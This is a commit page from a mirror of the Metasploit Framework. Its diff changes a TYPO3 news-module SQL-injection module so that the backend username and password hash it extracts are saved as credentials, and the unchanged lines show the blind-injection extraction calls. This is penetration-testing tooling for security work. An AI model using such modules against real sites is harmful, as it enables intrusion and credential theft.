infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Username and password reported as credentials

GSoC/Meterpreter_Web_Console
Mzack9999 2017-09-27 00:01:34 +02:00 committed by Jacob Robles
parent 3d6af4c7ee
commit 5ee50c5fab
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 8 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
modules/auxiliary/admin/http/typo3_news_module_sqli.rb
View File

@ -71,6 +71,14 @@ class MetasploitModule < Msf::Auxiliary
print_good("Username: #{username}") print_good("Username: #{username}")
password = blind('password','be_users', 'uid=1', full_charset, digit_charset, patterns) password = blind('password','be_users', 'uid=1', full_charset, digit_charset, patterns)
print_good("Password Hash: #{password}") print_good("Password Hash: #{password}")
connection_details = {
module_fullname: self.fullname,
username: username,
private_data: password,
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED,
}.merge(service_details)
create_credential(connection_details)
end end
def blind(field, table, condition, charset, digit_charset, patterns = {}) def blind(field, table, condition, charset, digit_charset, patterns = {})